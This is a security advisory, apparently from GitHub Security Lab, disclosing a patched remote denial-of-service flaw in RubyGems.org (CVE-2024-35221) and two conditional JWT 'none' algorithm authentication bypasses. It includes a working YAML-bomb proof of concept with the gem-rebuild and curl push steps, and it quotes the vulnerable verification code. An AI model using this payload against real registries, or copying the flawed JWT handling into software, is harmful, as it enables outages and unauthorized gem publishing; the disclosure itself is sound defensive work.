Coordinated Disclosure Timeline
- 2024-01-26: Report sent to RubyGems’ security team.
- 2024-02-08: Answer from RubyGems confirming the Remote DoS as a vulnerability and putting guardrails in place for hardening against authentication bypasses.
- 2024-04-12: Remote DoS Vulnerability was patched.
- 2024-05-29: CVE-2024-35221 was assigned to the Remote DoS vulnerability and advisory was released.
Summary
A Remote DoS vulnerability and potential authentication bypasses were found in RubyGems.org, the project powering the Ruby community’s gem hosting service at rubygems.org.
Note: The potential authentication bypasses (GHSL-2024-002 & GHSL-2024-003) were confirmed as not exploitable on the RubyGems.org production instance(s). Hardening against potential future exploitations (due to changed circumstances) was put in place.
- Issue 1: Remote DoS when publishing a package (
GHSL-2024-001
) - Issue 2: Authentication bypass in trusted publisher controller in rare circumstances (
GHSL-2024-002
) - Issue 3: Authentication bypass in API key roles controller in rare circumstances (
GHSL-2024-003
)
Project
rubygems.org
Tested Version
master branch (commit 400adea7)
Details
Issue 1: Remote DoS when publishing a package (GHSL-2024-001
)
A Gem publisher could have been able to cause a Remote denial of service (DoS) when publishing a Gem. This is due to how Ruby reads the Manifest of Gem files when using Gem::Specification.from_yaml
. from_yaml
makes use of SafeYAML.load
which allows YAML aliases inside the YAML-based metadata of a gem. YAML aliases allow for Denial of Service attacks with so-called YAML-bombs (comparable to Billion laughs attacks).
def self.safe_load(input)
::Psych.safe_load(input, permitted_classes: PERMITTED_CLASSES, permitted_symbols: PERMITTED_SYMBOLS, aliases: true)
end
RubyGems.org Pusher uses the Ruby class Gem::Package
internally to read the metadata file of a gem.
def pull_spec
package = Gem::Package.new(body, gem_security_policy)
@spec = package.spec
@files = package.files
validate_spec && serialize_spec
rescue StandardError => e
notify <<~MSG, 422
RubyGems.org cannot process this gem.
Please try rebuilding it and installing it locally to make sure it's valid.
Error:
#{e.message}
MSG
end
This can potentially lead to a complete Denial of Service of RubyGems.org if an attacker is able to occupy all workers by pushing several gems where their YAML metadata contains YAML-bombs.
Proof of concept
Following instructions show how to create a proof of concept file that leads to a denial of service of a worker process when published. A successful attack against a production server would require multiple requests using the same gem file.
- Create and build an own gem as usual (first
bundle gem testdosgem
, then inside the gem’s folder:gem build testdosgem.gemspec
(some TODOs in thetestdosgem.gemspec
file need to be resolved before building)) - Untar built gem (
tar -xvf testdosgem-0.1.0.gem
). - Delete the file called
metadata.gz
. - Create a file called
metadata
with following contents:
--- !ruby/object:Gem::Specification
authors:
- a: &a [_,_,_,_,_,_,_,_,_,_,_,_,_,_,_]
- b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a,*a]
- c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b,*b]
- d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c,*c]
- e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d,*d]
- f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e,*e]
- g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f,*f]
- h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g,*g]
- i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h,*h]
- j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i,*i]
- k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j,*j]
- l: &l [*k,*k,*k,*k,*k,*k,*k,*k,*k,*k]
- Compress the
metadata
file with gzip (gzip metadata
). - Decompress the checksums (
gzip -d checksums.yaml.gz
). - Replace the metadata hashes inside of
checksums.yaml
with the new ones (output ofshasum -a 256 metadata.gz
andshasum -a 512 metadata.gz
). - Compress the
gzip checksums.yaml
file with gzip (gzip checksums.yaml
) - Tar all three files to create a valid gem
tar cvf testdosgem-0.1.0.gem --directory=/<PATH-TO-FOLDER> metadata.gz data.tar.gz checksums.yaml.gz
This gem can then be pushed to the RubyGems server under test:
curl -H "Authorization: rubygems_<SECRET>" -H "content-type: application/octet-stream" --data-binary "@/<PATH>/testdosgem-0.1.0.gem" -X POST https://<RUBYGEMS-HOST>/api/v1/gems
(<SECRET>
, <PATH>
and <RUBYGEMS-HOST>
need to be replaced with valid values.)
In our test setup it was enough to create one request for each worker to block it completely. If all workers were busy the RubyGems Rails app stopped responding.
Impact
This issue may lead to Denial of Service.
Issue 2: Authentication bypass in trusted publisher controller in rare circumstances (GHSL-2024-002
)
RubyGems’ trusted publisher controller accepted JWTs with the none
algorithm as valid under certain rare circumstances. This would have allowed an attacker to exchange a forged token with a valid API key, which they could have used to publish gems where trusted publishing is set up.
When a JWT is provided to the TrustedPublisherController
it is first examined by decoding it without verification by the json-jwt library:
def decode_jwt
@jwt = JSON::JWT.decode_compact_serialized(params.require(:jwt), :skip_verification)
rescue JSON::JWT::InvalidFormat, JSON::ParserError, ArgumentError
# invalid base64 raises ArgumentError
render_bad_request
end
Afterwards the issuer of the JWT is extracted and looked up in the Database where the correct provider is loaded (if it exists):
def find_provider
@provider = OIDC::Provider.find_by!(issuer: @jwt[:iss])
end
Then the signature is verified against the JWKS (JSON Web Key Set) stored with the provider:
def verify_signature
raise UnverifiedJWT, "Invalid time" unless (@jwt["nbf"]..@jwt["exp"]).cover?(Time.now.to_i)
@jwt.verify!(@provider.jwks)
end
This works well in the happy case. The problem is that the JWT library (json-jwt) in use will allow JWTs with a none
algorithm in case a nil
JWKS is provided to the verify!
method:
def verify!(public_key_or_secret, algorithms = nil)
if alg&.to_sym == :none
raise UnexpectedAlgorithm if public_key_or_secret
signature == '' or raise VerificationFailed
elsif algorithms.blank? || Array(algorithms).include?(alg&.to_sym)
public_key_or_secret && valid?(public_key_or_secret) or
raise VerificationFailed
else
raise UnexpectedAlgorithm.new('Unexpected alg header')
end
end
The JWKs are set by the RefreshOIDCProviderJob:
def perform(provider:)
connection = Faraday.new(provider.issuer, request: { timeout: 2 }, headers: { "Accept" => "application/json" }) do |f|
f.request :json
f.response :logger, logger, headers: false, errors: true, bodies: true
f.response :raise_error
f.response :json, content_type: //
end
resp = connection.get("/.well-known/openid-configuration")
provider.configuration = resp.body
provider.configuration.validate!
provider.jwks = connection.get(provider.configuration.jwks_uri).body
provider.save!
end
The circumstances where the JWKS is nil
on a production instance are likely quite rare in reality:
E.g.:
- On a fresh database (such as a dev DB) as long as the
RefreshOIDCProviderJob
hasn’t run (it’s set to run every 30 minutes). - On a fresh database as long as the
RefreshOIDCProviderJob
fails without saving the provider (e.g. due to connectivity issues). - On a database where the JWKS of a provider has been yanked out manually. (e.g. to manually revoke a key).
- If the code of rubygems.org were changed to allow custom OIDC providers to be added. (That would create vulnerable situations in cases where RefreshOIDCProviderJob didn’t yet run for the first time and/or fails due to an invalid OIDC config)
Impact
This issue might allow an attacker to publish a new version of a gem where trusted publishing is set up (as long as the database does not return a JWKS).
Issue 3: Authentication bypass in API key roles controller in rare circumstances (GHSL-2024-003
)
Note: This issue is similar to GHSL-2024-002, but both the endpoint and the location where the error could be fixed are different. For a more thorough explanation please read GHSL-2024-002.
RubyGems’ API key roles controller accepted JWTs with the none
algorithm as valid under certain rare circumstances. This could have allowed an attacker to exchange a forged token with a valid API key, which they could haved used to communicate with the RubyGems.org API. Depending on the configuration of the API Key role an attacker could have published or removed a gem and/or removed or added owners of a gem. This would have been only possible for gems, where an API Key role was set up and the JWKS of the OIDC provider returns nil
.
When a JWT is provided to the Api::V1::OIDC::ApiKeyRolesController
it is examined by and directly verified inside the decode_jwt method:
def decode_jwt
@jwt = JSON::JWT.decode_compact_serialized(params.require(:jwt), @api_key_role.provider.jwks)
rescue JSON::ParserError
raise UnverifiedJWT, "Invalid JSON"
end
As in GHSL-2024-002, this works well in the happy case. The problem is that the JWT library (json-jwt) in use will allow JWTs with a none
algorithm in case a nil
JWKS is provided to the internally used verify!
method.
Impact
This issue might allow an attacker to publish a new version of a gem (depending on the configuration and as long as the database does not return a JWKS).
CVE
- CVE-2024-35221 (Remote DoS when publishing a package)
Credit
These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-001
, GHSL-2024-002
, or GHSL-2024-003
in any communication regarding these issues.